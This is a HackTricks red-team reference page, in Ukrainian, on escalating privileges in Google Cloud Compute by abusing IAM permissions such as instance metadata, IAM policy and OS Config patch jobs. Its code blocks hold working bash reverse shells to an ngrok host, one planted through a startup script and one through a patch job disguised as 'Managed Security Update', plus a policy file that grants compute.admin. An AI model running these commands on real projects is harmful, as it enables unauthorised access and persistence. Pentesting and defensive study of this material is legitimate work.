GCP - Compute Privesc

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Compute

Для отримання додаткової інформації про Compute та VPC (мережу) в GCP перегляньте:

GCP - Compute Enum

caution

Зверніть увагу, що для виконання всіх атак підвищення привілеїв, які вимагають зміни метаданих екземпляра (наприклад, додавання нових користувачів та SSH-ключів), необхідно, щоб у вас були права actAs на SA, прикріплену до екземпляра, навіть якщо SA вже прикріплена!

compute.projects.setCommonInstanceMetadata

З цим дозволом ви можете змінювати інформацію про метадані екземпляра та змінювати авторизовані ключі користувача, або створювати нового користувача з правами sudo. Таким чином, ви зможете виконати SSH в будь-який екземпляр VM і вкрасти GCP Service Account, з яким працює екземпляр.
Обмеження:

  • Зверніть увагу, що GCP Service Accounts, які працюють в екземплярах VM, за замовчуванням мають дуже обмежений обсяг
  • Вам потрібно буде мати можливість зв'язатися з SSH сервером для входу

Для отримання додаткової інформації про те, як експлуатувати цей дозвіл, перегляньте:

GCP - Add Custom SSH Metadata

Ви також можете виконати цю атаку, додавши новий startup-script і перезавантаживши екземпляр:

bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Ця дозволяє надає ті ж привілеї, що й попереднє дозволу, але для конкретних екземплярів, а не для всього проекту. Ті ж експлойти та обмеження, що й для попереднього розділу, застосовуються.

compute.instances.setIamPolicy

Цей вид дозволу дозволить вам наділити себе роллю з попередніми дозволами та ескалувати привілеї, зловживаючи ними. Ось приклад додавання roles/compute.admin до облікового запису служби:

bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Якщо OSLogin увімкнено в екземплярі, з цим дозволом ви можете просто виконати gcloud compute ssh [INSTANCE] і підключитися до екземпляра. Ви не матимете root прав всередині екземпляра.

tip

Щоб успішно увійти з цим дозволом всередині VM екземпляра, вам потрібно мати дозвіл iam.serviceAccounts.actAs на SA, прикріплену до VM.

compute.instances.osAdminLogin

Якщо OSLogin увімкнено в екземплярі, з цим дозволом ви можете просто виконати gcloud compute ssh [INSTANCE] і підключитися до екземпляра. Ви будете мати root права всередині екземпляра.

tip

Щоб успішно увійти з цим дозволом всередині VM екземпляра, вам потрібно мати дозвіл iam.serviceAccounts.actAs на SA, прикріплену до VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Можливо створити віртуальну машину з призначеним обліковим записом служби та вкрасти токен облікового запису служби, отримуючи доступ до метаданих для ескалації привілеїв.

Скрипт експлуатації для цього методу можна знайти тут.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Якщо у вас є дозволи osconfig.patchDeployments.create або osconfig.patchJobs.exec, ви можете створити роботу з патчами або розгортання. Це дозволить вам переміщатися в середовищі та отримати виконання коду на всіх обчислювальних екземплярах у проекті.

Зверніть увагу, що на даний момент вам не потрібен дозвіл actAs на SA, прикріплену до екземпляра.

Якщо ви хочете вручну експлуатувати це, вам потрібно буде створити або роботу з патчами або розгортання.
Для роботи з патчами виконайте:

python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Щоб розгорнути патч-розгортання:

bash
gcloud compute os-config patch-deployments create <name> ...

Інструмент patchy міг бути використаний у минулому для експлуатації цієї неконфігурації (але зараз він не працює).

Зловмисник також може зловживати цим для збереження доступу.

compute.machineImages.setIamPolicy

Надайте собі додаткові дозволи на образи обчислень.

compute.snapshots.setIamPolicy

Надайте собі додаткові дозволи на знімок диска.

compute.disks.setIamPolicy

Надайте собі додаткові дозволи на диск.

Обхід доступу до обсягів

Слідуючи за цим посиланням, ви знайдете деякі ідеї для спроби обійти обсяги доступу.

Локальне підвищення привілеїв у GCP Compute інстансі

GCP - local privilege escalation ssh pivoting

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks